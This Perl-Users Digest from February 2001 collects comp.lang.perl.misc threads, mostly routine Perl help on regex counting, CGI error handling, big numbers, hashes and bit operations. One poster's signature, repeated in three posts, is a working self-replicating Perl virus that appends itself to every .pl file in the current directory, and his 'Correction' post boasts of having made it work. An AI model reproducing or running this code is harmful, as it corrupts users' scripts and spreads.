[18073] in Perl-Users-Digest
Perl-Users Digest, Issue: 233 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Wed Feb 7 14:06:08 2001
Date: Wed, 7 Feb 2001 11:05:26 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <981572724-v10-i233@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Wed, 7 Feb 2001 Volume: 10 Number: 233
Today's topics:
Re: "Average of List of Numbers" by Abigail <mischief@velma.motion.net>
# of matches in a string? sjamiso@my-deja.com
Re: # of matches in a string? <ccx138@coventry.ac.uk>
Re: # of matches in a string? (Shawn Jamison)
Re: about dying (Peter L. Berghold)
Re: about dying tanase_costin@my-deja.com
Re: about dying (Rudolf Polzer)
Re: Again---how to remove item in the array? (Shawn)
Re: Big Numbers aramis1631@my-deja.com
Re: Big Numbers <jonni@ifm.liu.se>
CGI B-A-S-I-C-S? <creator@itsallok.nl>
Re: CGI B-A-S-I-C-S? nobull@mail.com
Correction (Rudolf Polzer)
Re: Correction <thoren@southern-division.com>
Re: Correction (Rudolf Polzer)
Re: DBD::Oracle and CGI rereidy@my-deja.com
Re: Do cookies work in IE 4 and below? (David H. Adler)
Embedding perl <shino_korah@yahoo.com>
Re: Fastest way of left-padding a number? (Abigail)
Re: Fastest way of left-padding a number? <jll63@easynet.be>
Re: getting line number n of a file (H. Merijn Brand)
Re: Hashes (Garry Williams)
Re: Hashes nobull@mail.com
Re: Help with < nobull@mail.com
help with multiple if statements ? tvn007@my-deja.com
Re: help with multiple if statements ? almishan@hotmail.com
Re: help with multiple if statements ? <ccx138@coventry.ac.uk>
Re: hex to binary conversion ? Please help tvn007@my-deja.com
Re: hex to binary conversion ? Please help (Peter J. Acklam)
Re: hex to binary conversion ? Please help <mjcarman@home.com>
Digest Administrivia (Last modified: 16 Sep 99) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Wed, 07 Feb 2001 16:10:37 -0000
From: Chris Stith <mischief@velma.motion.net>
Subject: Re: "Average of List of Numbers" by Abigail
Message-Id: <t82srtbkul97ec@corp.supernews.com>
In comp.lang.perl.misc Monte Phillips <montep@hal-pc.org> wrote:
> On Wed, 7 Feb 2001 04:58:17 +0000 (UTC), Gregory Neil Bastow
> <gregbast@tartarus.uwa.edu.au> wrote:
>>In comp.lang.misc Chris Stith <mischief@velma.motion.net> wrote:
>>: In the context of programming, I've always thought elegance had to do
>>: with doing something in a way that is either conscise and fast or simple
>>: but not necessarily obvious.
>>
>>Not sure what you mean about "obviousness" with respect to elegance.
>>I think it should be fairly easy to see what it does and how it works, but
>>usually taking a non-obvious step to come up with it in the first place.
>>-Greg
Greg,
Like I said, "simple but not necessarily obvious". I agree to be
considered elegant something should be clearly understood when it
is read but not something that would be the most obvious
implementation path before seeing it. Good examples (in my
mind at least) would be the Schwartzian transform, quicksort, and
the Boyer-Moore string search.
> Elegance in all matters, whether mathematical, musical, visual or
> anything else is simply this(pun intended<grin>):
> The shortest line between two points!
> HERE:route:OBJECTIVE
Monte,
I suppose posting the same message three times is the shortest
line to making your point? ;)
And what does shortest line mean in programming? The quickest
initial implementation? The fastest run time? The fastest
maintenance turnaround? The most concise code? The fewest actual
program statements, regardless the length of each? The code that
becomes the fewest machine-level opcodes? The least use of memory?
There are many lines that intersect when programming. Which one
should be the shortest? If it's a combination of all the lengths,
how do you weight each one?
Chris
--
Christopher E. Stith
If they can get you asking the wrong questions, they don't
have to worry about the answers.
-- Thomas Pynchon, Gravity's Rainbow
------------------------------
Date: Wed, 07 Feb 2001 16:17:37 GMT
From: sjamiso@my-deja.com
Subject: # of matches in a string?
Message-Id: <95rsem$jm4$1@nnrp1.deja.com>
I'm trying to figure out a simple way to determine the number of times
a particular sequence of characters is matched in a file.
For example:
I need to know how many -\n (Read that hyphen carriage return)
there are in a file.
I just want to know how many nothing else.
Thanks in advance
SJ.
Sent via Deja.com
http://www.deja.com/
------------------------------
Date: Wed, 07 Feb 2001 16:41:48 +0000
From: JMT <ccx138@coventry.ac.uk>
Subject: Re: # of matches in a string?
Message-Id: <3A817ACC.D180A56C@coventry.ac.uk>
sjamiso@my-deja.com wrote:
> I'm trying to figure out a simple way to determine the number of times
> a particular sequence of characters is matched in a file.
>
> For example:
> I need to know how many -\n (Read that hyphen carriage return)
> there are in a file.
> I just want to know how many nothing else.
>
> Thanks in advance
> SJ.
>
> Sent via Deja.com
> http://www.deja.com/
This should work.
while(<>){
$count += s/-\n//g;
}
print $count;
------------------------------
Date: Wed, 07 Feb 2001 17:42:56 GMT
From: nospam_sjamiso_nospam@nospam_my-deja.com (Shawn Jamison)
Subject: Re: # of matches in a string?
Message-Id: <3a8487bd.186784561@socks1>
I found a much MUCH more difficult solution to this problem.
When I see responses like this and plug them into my scripts and they
work! I wonder "what the hell was I thinking when I wrote that."
I'm a little embarrased at how simple this is. I should have known.
Thanks
On Wed, 07 Feb 2001 16:41:48 +0000, JMT <ccx138@coventry.ac.uk> wrote:
>while(<>){
> $count += s/-\n//g;
>}
>
>print $count;
------------------------------
Date: Wed, 07 Feb 2001 16:13:44 GMT
From: peter@uboat.berghold.net (Peter L. Berghold)
Subject: Re: about dying
Message-Id: <slrn982t1o.vac.peter@uboat.berghold.net>
On Wed, 07 Feb 2001 14:25:43 GMT, emelin <emelin@my-deja.com> wrote:
>simply writing
>
>die "Error!";
>
>the way I've learned it doesn't show anything if I run the program from
>my www browser... it seems to work if I write
>
man CGI::Carp
if you
use CGI::Carp qw/ fatalsToBrowser / ;
I believe this will get you what you are after....
--
-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Peter L. Berghold Peter@Berghold.Net
"Linux renders ships http://www.berghold.net
NT renders ships useless...."
------------------------------
Date: Wed, 07 Feb 2001 16:31:44 GMT
From: tanase_costin@my-deja.com
Subject: Re: about dying
Message-Id: <95rt9h$kks$1@nnrp1.deja.com>
In article <95rlst$dej$1@nnrp1.deja.com>,
emelin <emelin@my-deja.com> wrote:
> simply writing
>
> die "Error!";
>
> the way I've learned it doesn't show anything if I run the program
from
> my www browser... it seems to work if I write
What about
die "Error!\n"; ?
Costin
Sent via Deja.com
http://www.deja.com/
------------------------------
Date: Wed, 7 Feb 2001 17:34:43 +0100
From: rpolzer@web.de (Rudolf Polzer)
Subject: Re: about dying
Message-Id: <slrn982u93.16s.rpolzer@rebounce.rpolzer-lx>
emelin <emelin@my-deja.com> schrieb Folgendes:
> simply writing
>
> die "Error!";
>
> the way I've learned it doesn't show anything if I run the program from
> my www browser... it seems to work if I write
>
> die print "Error!";
Try
use strict;
use CGI::Carp ('fatalsToBrowser');
# not everyone always uses the qw notation
at the beginning of the program and die will work.
--
#!/usr/bin/perl -w
$0=q{$0="\n".'$0=q{'.$0.'};eval$0;'."\n";for(<*.pl>){open X,">>$_";print
X$0;close X;}print scalar reverse"\nPR!suriv lreP rehtona tsuJ"};eval$0;
######################## http://learn.to/quote/ ########################
------------------------------
Date: Wed, 07 Feb 2001 16:42:08 GMT
From: nospam_sjamiso_nospam@nospam_my-deja.com (Shawn)
Subject: Re: Again---how to remove item in the array?
Message-Id: <3a8276eb.182478760@socks1>
On Wed, 07 Feb 2001 12:53:44 GMT, Hessu <qvyht@iobox.fi> wrote:
Try using the splice() function.
This example gets rid of the first two elements in the list @getit
splice(@getit, 0, 2 );
From perldocs
splice ARRAY,OFFSET,LENGTH,LIST
This will be more efficient if order doesn't matter.
>can i do it with splice and how does this would work.
Splice is your best choice. You can select an element and replace it
directly. Kind of like an inline replacement. Just one step. If
your array is really that big, this is MUCH FASTER.
sjamiso
>
>br,
>lerning perl
------------------------------
Date: Wed, 07 Feb 2001 16:34:22 GMT
From: aramis1631@my-deja.com
Subject: Re: Big Numbers
Message-Id: <95rted$kni$1@nnrp1.deja.com>
In article <3A816AB6.E80C3BA7@yoyo.pl>,
Slasia <skorpik@yoyo.pl> wrote:
> Hi !
>
> I have this problem.
>
> Perl Script !
> #-------------------------------
> use strict;
>
> my $sNumber = 0;
> my $sResult = 0;
>
> # It is good for 31, for 32 i isn`t
> my $sPowElem = 31;
>
> $sNumber = 2**$sPowElem;
> print "2**$sPowElem = $sNumber\n";
>
> # Mark bit
>
> $sResult |= $sNumber;
>
> print "Result = $sResult\n";
>
> #-------------------------------
>
> What can I solve my problem for $sPowElem > 31 ?
>
> Thanks
> L
use Math::BigInt; # see example below
#!/bin/perl -w
use strict;
use Math::BigInt;
my $sNumber = 0;
my $sResult = 0;
# It is good for 31, for 32 i isn`t
my $sPowElem = 100;
my $n = Math::BigInt->new($sPowElem);
$sNumber = 2**$sPowElem;
print "2**$sPowElem = $sNumber\n";
# Mark bit
$sResult |= $sNumber; # insufficient for big numbers > 2**32
print "Result = $sResult\n";
my $bigNum = 2**$n;
print "Result = $bigNum\n";
Sent via Deja.com
http://www.deja.com/
------------------------------
Date: Wed, 7 Feb 2001 17:41:30 +0100
From: "Jonas Nilsson" <jonni@ifm.liu.se>
Subject: Re: Big Numbers
Message-Id: <95rtqp$q6o$1@newsy.ifm.liu.se>
use Math::BigInt;
my $sNumber = new Math::BigInt '0';
instead of:
my $sNumber = 0;
Will do the trick!
/jN
--
_____________________ _____________________
| Jonas Nilsson | | |
|Linkoping University | | Telephone |
| IFM | | --------- |
| Dept. of Chemistry | | work: +46-13-285690 |
| 581 83 Linkoping | | fax: +46-13-281399 |
| Sweden | | home: +46-13-130294 |
|_____________________| |_____________________|
"Slasia" <skorpik@yoyo.pl> wrote in message
news:3A816AB6.E80C3BA7@yoyo.pl...
> Hi !
>
> I have this problem.
>
> Perl Script !
> #-------------------------------
> use strict;
>
> my $sNumber = 0;
> my $sResult = 0;
>
> # It is good for 31, for 32 i isn`t
> my $sPowElem = 31;
>
> $sNumber = 2**$sPowElem;
> print "2**$sPowElem = $sNumber\n";
>
> # Mark bit
>
> $sResult |= $sNumber;
>
> print "Result = $sResult\n";
>
> #-------------------------------
>
> What can I solve my problem for $sPowElem > 31 ?
>
> Thanks
> L
>
>
------------------------------
Date: Wed, 07 Feb 2001 17:09:32 +0100
From: Fatboy <creator@itsallok.nl>
Subject: CGI B-A-S-I-C-S?
Message-Id: <3A81733C.2320AE61@itsallok.nl>
Hey 'all,
I'm quite handy with Flash-actionscripting but a complete dummy in
CGI-writing.
I'd like to send variables from flash and write it in a txt-file. And
use a CGI-script to do all this.
I know it must be simple, but I hardly know anything when it comes to
writing in Perl.
Can anybody show me where to pick up the total basics?
Thanks!
Sincerely,
Fatboy
------------------------------
Date: 07 Feb 2001 18:33:57 +0000
From: nobull@mail.com
Subject: Re: CGI B-A-S-I-C-S?
Message-Id: <u9y9viz6ju.fsf@wcl-l.bham.ac.uk>
Fatboy <creator@itsallok.nl> writes:
> Can anybody show me where to pick up the total basics?
The "SYNOPSIS" section of perldoc CGI
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: Wed, 7 Feb 2001 17:16:06 +0100
From: rpolzer@web.de (Rudolf Polzer)
Subject: Correction
Message-Id: <slrn982t66.163.rpolzer@rebounce.rpolzer-lx>
I have posted a nonworking virus source code in this NG. I have changed it
to make it working.
(I changed the beginning of it but not the self-replicating code).
I hope using $0 is safe for this (looks weird in ps, but works. A bit of a
payload).
Better than Godzilla's thing... of course I can change
print scalar reverse ...
to
print ''.reverse ...
to save bytes...
--
#!/usr/bin/perl -w
$0=q{$0="\n".'$0=q{'.$0.'};eval$0;'."\n";for(<*.pl>){open X,">>$_";print
X$0;close X;}print scalar reverse"\nPR!suriv lreP rehtona tsuJ"};eval$0;
######################## http://learn.to/quote/ ########################
------------------------------
Date: Wed, 7 Feb 2001 18:07:50 +0100
From: Thoren Johne <thoren@southern-division.com>
Subject: Re: Correction
Message-Id: <MPG.14eb9f50f97b3d47989857@news.btx.dtag.de>
In article <slrn982t66.163.rpolzer@rebounce.rpolzer-lx>, Rudolf Polzer
aka rpolzer@web.de says...
> I have posted a nonworking virus source code in this NG. I have changed it
> to make it working.
uhhh - how scary!
do i need to switch to python now to be save from your brilliant little
code beasts?
SCNR
--
# Thoren Johne - 8#X - thoren@southern-division.com
# Southern Division Classic Bikes - www.southern-division.com
;*42=sub{10.32.56.35.X=>=>&{sub{H=>&{sub{P=>&{sub{A=>&{sub{J=>}}}}}}}}}=>
*0=sub{'Just Another Perl Hacker 8#X'=>}=>print!&{*0}=>(reverse(&{*42}));
------------------------------
Date: Wed, 7 Feb 2001 18:47:56 +0100
From: rpolzer@web.de (Rudolf Polzer)
Subject: Re: Correction
Message-Id: <slrn9832ic.6gk.rpolzer@rebounce.rpolzer-lx>
Thoren Johne <thoren@southern-division.com> schrieb Folgendes:
> In article <slrn982t66.163.rpolzer@rebounce.rpolzer-lx>, Rudolf Polzer
> aka rpolzer@web.de says...
> > I have posted a nonworking virus source code in this NG. I have changed it
> > to make it working.
>
> uhhh - how scary!
>
> do i need to switch to python now to be save from your brilliant little
> code beasts?
No. I do not write beasts, therefore it only infects the current
directory. I wanted to show that Godzilla! was doing some things in a very
lame way (lamer than me) and could have saved some lines of code in his
virus.
I do not know if Python is as expressive as Perl; a bash virus is not too
complicated to write, however.
--
#!/usr/bin/perl -w
$0=q{$0="\n".'$0=q{'.$0.'};eval$0;'."\n";for(<*.pl>){open X,">>$_";print
X$0;close X;}print scalar reverse"\nPR!suriv lreP rehtona tsuJ"};eval$0;
######################## http://learn.to/quote/ ########################
------------------------------
Date: Wed, 07 Feb 2001 16:06:03 GMT
From: rereidy@my-deja.com
Subject: Re: DBD::Oracle and CGI
Message-Id: <95rrp3$j1t$1@nnrp1.deja.com>
So, what does your environment look like? Do you have $ORACLE_HOME,
and $ORACLE_SID? Does your path include $ORACLE_HOME/bin?
Why not just issue a query against USER_TAB_COLUMNS to get this
information? It would be easier and safer.
Ron Reidy
Oracle DBA
In article <3A7EB8BA.43F32368@cilea.it>,
Matteo Boschini <boschini@cilea.it> wrote:
> Hello all,
>
> may be this is a stupid question, but I did not find anything about it
> in the FAQs or DOCs.
> I have a simple perl cgiscript, which use(s) CGI.pm, DBI and
> DBD::Oracle.
>
> I need to do a DESCRIBE TABLE from the script.
> Describe is not implemnetd in DBI and neither in Pl/Sql, at least to
the
> best of my understanding.
> So I do a @descr = `sqlplus user/passwd \@script.sql`
>
> where script.sql is just
>
> DESCRIBE TABLE
> EXIT;
>
> When run on command line, the cgi works fine, but when run from
browser
> I get a scalar(@descr) = 0.
>
> It seems that there is a time-out or delay or asynchronicity issue.
> Any clue ?
>
> Already thanking you,
>
> Matteo Boschini
> (boschini@cilea.it)
>
>
Sent via Deja.com
http://www.deja.com/
------------------------------
Date: 7 Feb 2001 18:43:26 GMT
From: dha@panix2.panix.com (David H. Adler)
Subject: Re: Do cookies work in IE 4 and below?
Message-Id: <slrn9835qe.h33.dha@panix2.panix.com>
On Wed, 07 Feb 2001 15:48:22 GMT, mstorti@my-deja.com
<mstorti@my-deja.com> wrote:
>I am somehwat confused with the behaviour of cookies in MS Explorer
>versions 4 and below.
Which, clearly, has nothing to do with perl.
You might ask in a group that deals with web browsers...
dha
--
David H. Adler - <dha@panix.com> - http://www.panix.com/~dha/
I'm not a non-conformist, I just follow directions poorly.
- graffiti on the men's room wall at the Blind Tiger
------------------------------
Date: Wed, 7 Feb 2001 10:37:04 -0800
From: "terminalsplash" <shino_korah@yahoo.com>
Subject: Embedding perl
Message-Id: <95s4kh$75u@news.or.intel.com>
Hi
I was trying to embed perl in C.
I got the following code form a book
#include<EXTERN.h>
> #include<perl.h>
> static PerlInterpreter *my_perl;
> int main(int argc, char **argv,char **env)
> {
> my_perl = perl_alloc();
> perl_construct(my_perl);
> perl_parse(my_perl,NULL,argc,argv,(char **)NULL);
> perl_run(my_perl);
> perl_destruct(my_perl);
> perl_free(my_perl);
> }
>
> when I compile using::
> gcc -o name nameoffile.cpp 'perl -MExtUtils::Embed -e ccopts -e ldopts'
>
> It says EXTERN.h and perl.h not found.....
>
> In the book it says "to find the EXTERN.H and perl.h type::
> perl -MConfig -e "print $Config{archlib}"
>
> but when i do this it gives an error::
> syntax error at -e..
>
> Please help me to find those header file paths...
> is there an easier way to embed perl in C???
------------------------------
Date: 7 Feb 2001 16:36:48 GMT
From: abigail@foad.org (Abigail)
Subject: Re: Fastest way of left-padding a number?
Message-Id: <slrn982ud0.p6d.abigail@tsathoggua.rlyeh.net>
Jean-Louis Leroy (jll63@easynet.be) wrote on MMDCCXVII September MCMXCIII
in <URL:news:m3zofyik40.fsf@enterprise.starfleet>:
## JMT <ccx138@coventry.ac.uk> writes:
##
## > I was just curious to know why you would want to gain time over
## > sprintf, that's all
##
## After re-reading my reply, I find it undeservedly dry. Please accept
## my apologies.
##
## > Like you say the gain would be lost by other actions.
##
## Given the choice between two incantations that produce the same
## result, and are more or less equally readable, I prefer to use the
## faster one.
Really? Then, why-oh-why are you using Perl, a language not known to
be particular fast.
If speed is so high on your priority list, continuing to use Perl seems
foolish to me. You'd use C, and a high quality compiler.
Trying to optimize single statements like sprintf is pointless.
Abigail
--
tie $" => A; $, = " "; $\ = "\n"; @a = ("") x 2; print map {"@a"} 1 .. 4;
sub A::TIESCALAR {bless \my $A => A} # Yet Another silly JAPH by Abigail
sub A::FETCH {@q = qw /Just Another Perl Hacker/ unless @q; shift @q}
------------------------------
Date: 07 Feb 2001 18:54:03 +0100
From: Jean-Louis Leroy <jll63@easynet.be>
Subject: Re: Fastest way of left-padding a number?
Message-Id: <m3vgqmidl0.fsf@enterprise.starfleet>
abigail@foad.org (Abigail) writes:
> ## Given the choice between two incantations that produce the same
> ## result, and are more or less equally readable, I prefer to use the
> ## faster one.
>
> Really? Then, why-oh-why are you using Perl, a language not known to
> be particular fast.
Ok, make that between two *Perl* incantations. Sorry for indulging in
the oh-so-human practice of stating things the way I assume everyone
else would understand. So I'd pick the faster one given that
everything else remains the same. XS are faster but take more effort,
are less immediately understandable, or immediately understandable by
fewer people, and are less portable, at least between different
systems ;-)
And, agreed, nothing in Perl stops you from writing code that is
gratuitiously slower than needs be.
Live long and prosper \\//
--
Jean-Louis Leroy
http://users.skynet.be/jll
------------------------------
Date: Wed, 07 Feb 2001 19:32:20 +0100
From: h.m.brand@hccnet.nl (H. Merijn Brand)
To: comp.lang.perl.misc
Subject: Re: getting line number n of a file
Message-Id: <Xns9041C6C2B328BMerijn@192.0.1.90>
abigail@foad.org (Abigail) wrote in
<slrn97tqtd.kt1.abigail@tsathoggua.rlyeh.net>:
>Andre Bonhote (andre.bonhote@linux.ch) wrote on MMDCCXV September
>MCMXCIII in <URL:news:3A7EE122.2194B56E@linux.ch>:
>{} hi ye perl gods!
>{}
>{} do you know a way to get eg. line number four of a file without too
>much {} code? it should do something like
>{}
>{} head -4 | tail -1
>{}
>{} where 4 is the desired line number.
>{}
>{} so, you obfuscated perl fetishists, show us what you can! *gg*
>
>
>From the "it's a regex problem" department:
>
> perl -pwe '($;="-1goto
> LINE01exit")=~s/.*${\($.<=>4)}(\D*).*/$1/;eval$;' file
>
>From the functional department:
>
> perl -pwe '(sub{goto LINE},sub{},sub{exit})[1+($.<=>4)]->()' file
>
>From the "let's outsource it!" department:
>
> perl -we 'print `head -4 $ARGV[0] | tail -1`' file
>
>From the "life is boring" department:
>
> perl -nwe 'print and last if $. == 4' file
>
>From the PGA:
>
> perl -nwe '$.==4&&die$_' file
perl -nwe '4..4and print' file
OK, it's longer, but uses a less used feature and can easily be extended
for windowing
perl -nwe '3..5and print' file
>Abigail
--
H.Merijn Brand
using perl5.005.03 and 5.6.0 on HP-UX 10.20, HP-UX 11.00, AIX 4.2, AIX 4.3,
DEC OSF/1 4.0 and WinNT 4.0 SP-6a, often with Tk800.022 and/or DBD-Unify
ftp://ftp.funet.fi/pub/languages/perl/CPAN/authors/id/H/HM/HMBRAND/
Member of Amsterdam Perl Mongers (http://www.amsterdam.pm.org/)
------------------------------
Date: Wed, 07 Feb 2001 17:33:44 GMT
From: garry@zvolve.com (Garry Williams)
Subject: Re: Hashes
Message-Id: <YFfg6.1503$561.11560@eagle.america.net>
On Wed, 07 Feb 2001 15:39:07 GMT, aramis1631@my-deja.com
<aramis1631@my-deja.com> wrote:
>In article <f%4g6.1387$561.8850@eagle.america.net>,
> garry@zvolve.com (Garry Williams) wrote:
>> On Wed, 07 Feb 2001 02:52:27 GMT, aramis1631@my-deja.com
>> <aramis1631@my-deja.com> wrote:
>>
>> >In article <95qbrr$cku$1@nnrp1.deja.com>,
>> > bakor@my-deja.com wrote:
>>
>> [snip]
>>
>> >> %days_in_month=(Jan,31,Feb,28,Mar,31);
>> >>
>> >> $month=`date +%b`;
>> >> print $month;
>> >> print $days_in_month($month);
>> >
>> >It appears to me, that you have parens (), when you mean to use curly
>> >braces {}.
>>
>> Nope.
>>
>> Braces will produce a reference to an anonymous hash.
>
>I do not understand what you mean by this... he was attempting to
>access a hash incorrectly.
You are quite right.
I thought the comment referred to the construction of the hash instead
of the (obviously wrong syntax) reference to the hash element.
I even quoted the OP's faulty line. :-(
--
Garry Williams
------------------------------
Date: 07 Feb 2001 17:56:25 +0000
From: nobull@mail.com
Subject: Re: Hashes
Message-Id: <u9ae7y1inq.fsf@wcl-l.bham.ac.uk>
darkon@one.net (David K. Wall) writes:
> bakor@my-deja.com wrote:
> >print $days_in_month($month);
>
> Since you used parentheses, perl thinks $days_in_month is a reference to a
> function.
No it doesn't. It wouldn't think that unless you said:
print $days_in_month->($month);
What Perl does think is that $days_in_month is an indirect object -
i.e. a symbolic reference to a filehandle.
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: 07 Feb 2001 17:56:00 +0000
From: nobull@mail.com
Subject: Re: Help with <
Message-Id: <u9bsse1iof.fsf@wcl-l.bham.ac.uk>
Bernie Cosell <bernie@fantasyfarm.com> writes:
>Subject: Re: Help with <
This is now an excelent illustration of why you should ask only one
question at a time. The OP asked two unrelated questions in one
post - this subject line refers to the _other_ question.
> "Joelle Lavergne" <jlavergne@drs.ca> wrote:
> } what is the meaning of this " |= " ?
>
> for this, you need to RFTM... Perl is a fairly complicated language with a
> lot of subtleties, and "|=" isn't even one of them...
On the contrary I'd say that |= _is_ one of the subtleties.
The bitwise or is one of the very few things in Perl that will do
different things depending on if the operands were last used a number
or a string. It is also one of the very few places where it can be
right to put double quotes around a varaible (usually frowned upon).
Now with the | operator you can (and probably should) always
disambiguate:
$x = "$x" | "$q;" # String bitwise OR
$x = $x+0 | $q; Numeric bitwise OR
With |= you cannot force a string bitwise operation, you just have to
make sure that the LHS operand is of the right type.
my $x="44";
my $y = $x + 2; # Comment this out and the semantics of |= change
$x |= "2";
print "$x\n";
The moral of this story is that |= generally should only ever be used
for _numeric_ bitwise operations and the RHS operand should always be
an expression that is unambiguously numeric otherwise a subsequent
seemingly trivial change to the code could cause really odd effects.
$x |= 0 + $$table[$z++]; # Numeric
$x = "$x" | "$$table[$z++]"; # String - don't use |=
--
\\ ( )
. _\\__[oo
.__/ \\ /\@
. l___\\
# ll l\\
###LL LL\\
------------------------------
Date: Wed, 07 Feb 2001 16:46:12 GMT
From: tvn007@my-deja.com
Subject: help with multiple if statements ?
Message-Id: <95ru4h$ldr$1@nnrp1.deja.com>
Hi,
I have do some search and replacement that require
a lot of "if then" statement:
I have to assign $name to different character according
to it numerial value.
Here is what I have to do:
$name eq '&' if ($name == 0)
$name eq '!' if ($name == 1)
$name eq '#' if ($name == 2)
$name eq '$' if ($name == 3)
$name eq '%' if ($name == 4)
and this can go on, probably when $name reach 500.
Is there better way to code this in PERL so that
I do not have to write 500 if statement.
Thanks for your help.
Sent via Deja.com
http://www.deja.com/
------------------------------
Date: 07 Feb 2001 09:34:18 -0800
From: almishan@hotmail.com
Subject: Re: help with multiple if statements ?
Message-Id: <uwvb28kit.fsf@MAHESHAK-PC.i-did-not-set--mail-host-address--so-shoot-me>
If you have any particular function of numaric value (i.e., char = f($name)...)
that rules the sequence of these characters, then such a code might help you...
% perl -e 'map {my $name = int($_+33);printf ("Name = %d, %c\n", $_, $name);} (0..93)'
Name = 0, !
Name = 1, "
Name = 2, #
Name = 3, $
Name = 4, %
Name = 5, &
Name = 6, '
Name = 7, (
Name = 8, )
Name = 9, *
:
This goes on ....
:
Name = 90, {
Name = 91, |
Name = 92, }
Name = 93, ~
:
:
If not, then may be you'll need to write 500 statements, either the way you
have used or to populate an array and then traverse it with a map.
Cheers!
------------------------------
Date: Wed, 07 Feb 2001 17:32:29 +0000
From: JMT <ccx138@coventry.ac.uk>
Subject: Re: help with multiple if statements ?
Message-Id: <3A8186AD.F9FE91BA@coventry.ac.uk>
tvn007@my-deja.com wrote:
> Hi,
>
> I have do some search and replacement that require
> a lot of "if then" statement:
>
> I have to assign $name to different character according
> to it numerial value.
>
> Here is what I have to do:
> $name eq '&' if ($name == 0)
> $name eq '!' if ($name == 1)
> $name eq '#' if ($name == 2)
> $name eq '$' if ($name == 3)
> $name eq '%' if ($name == 4)
>
> and this can go on, probably when $name reach 500.
>
> Is there better way to code this in PERL so that
> I do not have to write 500 if statement.
>
> Thanks for your help.
>
> Sent via Deja.com
> http://www.deja.com/
You could put the values in an ass array so you could then say:
$assarray{"0"} = "&";
$name = $assarray{$name};
This is a lot neater, you just need to work out how to populate the
assarray :)
BTW while are testing for equaility both sides of an if statement.
John
------------------------------
Date: Wed, 07 Feb 2001 16:58:32 GMT
From: tvn007@my-deja.com
Subject: Re: hex to binary conversion ? Please help
Message-Id: <95rurh$m3m$1@nnrp1.deja.com>
I am not sure if this function work.
Could you please try again.
I would like to conver BC(hex. format) to binary format .
Thanks,
In article <cxcy9vio7h7.fsf@janus.uio.no>,
jacklam@math.uio.no (Peter J. Acklam) wrote:
> Michael Carman <mjcarman@home.com> writes:
>
> > And if you don't have 5.6:
> >
> > print dec2bin(hex('BC')), "\n";
> >
> > sub dec2bin {
> > my $str = unpack('B32', pack('N', shift));
> > $str =~ s/^0+(?=\d)//; # strip leading zeroes
> > return $str
> > }
>
> This is "number 2 bin" or "int 2 bin", not "decimal 2 bin".
>
> Peter
>
> --
> sub int2roman{@x=split//,sprintf'%04d',shift;@r=
('','I','V','X','L','C','D'
> ,'M');@p=
([],[1],[1,1],[1,1,1],[1,2],[2],[2,1],[2,1,1],[2,1,1,1],[1,3],[3])
> ;join'',@r[map($_+6,@{$p[$x[0]]}),map($_+4,@{$p[$x[1]]}),map($_+2,@{$p
[$x[2
> ]]}),map($_+0,@{$p[$x[3]]})];}print "@{[map{int2roman($_)}@ARGV]}\n";
#JAPH!
>
Sent via Deja.com
http://www.deja.com/
------------------------------
Date: 07 Feb 2001 18:19:39 +0100
From: jacklam@math.uio.no (Peter J. Acklam)
Subject: Re: hex to binary conversion ? Please help
Message-Id: <cxc8zni8l78.fsf@masterblaster.uio.no>
tvn007@my-deja.com writes:
> I am not sure if this function work.
>
> Could you please try again.
>
> I would like to conver BC(hex. format) to binary format .
The function at the bottom of this posting is my signature, and
that was not intended as a reply to your question.
I guess, however, that this answers your question
$out = unpack('B32', pack('N', hex $in));
$out = sprintf '%b', hex $in;
Peter
--
sub int2roman{@x=split//,sprintf'%04d',shift;@r=('','I','V','X','L','C','D'
,'M');@p=([],[1],[1,1],[1,1,1],[1,2],[2],[2,1],[2,1,1],[2,1,1,1],[1,3],[3])
;join'',@r[map($_+6,@{$p[$x[0]]}),map($_+4,@{$p[$x[1]]}),map($_+2,@{$p[$x[2
]]}),map($_+0,@{$p[$x[3]]})];}print "@{[map{int2roman($_)}@ARGV]}\n";#JAPH!
------------------------------
Date: Wed, 07 Feb 2001 11:17:32 -0600
From: Michael Carman <mjcarman@home.com>
Subject: Re: hex to binary conversion ? Please help
Message-Id: <3A81832C.1C8A66C0@home.com>
"Peter J. Acklam" wrote:
>
> Michael Carman <mjcarman@home.com> writes:
>
> > print dec2bin(hex('BC')), "\n";
> >
> > sub dec2bin {
> > my $str = unpack('B32', pack('N', shift));
> > $str =~ s/^0+(?=\d)//; # strip leading zeroes
> > return $str
> > }
>
> This is "number 2 bin" or "int 2 bin", not "decimal 2 bin".
It really is decimal. It's true that so long as perl understands what
type of number you're passing it you can feed it numbers of any base:
print dec2bin(0xBC);
print dec2bin(077);
But be careful; this is a feature of perl, not of the function:
#!/usr/local/bin/perl5 -w
use strict;
require 5.6.0;
foo(15);
foo(0xF);
foo(017);
foo(0b1111);
sub foo {
print shift, "\n";
}
__END__
15
15
15
15
Being able to type code in other bases is just shorthand. When you type
0xBC, perl pretends you typed 188. (Well, strictly speaking it
translates everything into binary, but we humans think better in base
10.) So dec2bin() is really getting an argument as a "decimal" number,
even if you think you're passing it something in another base.
-mjc
------------------------------
Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
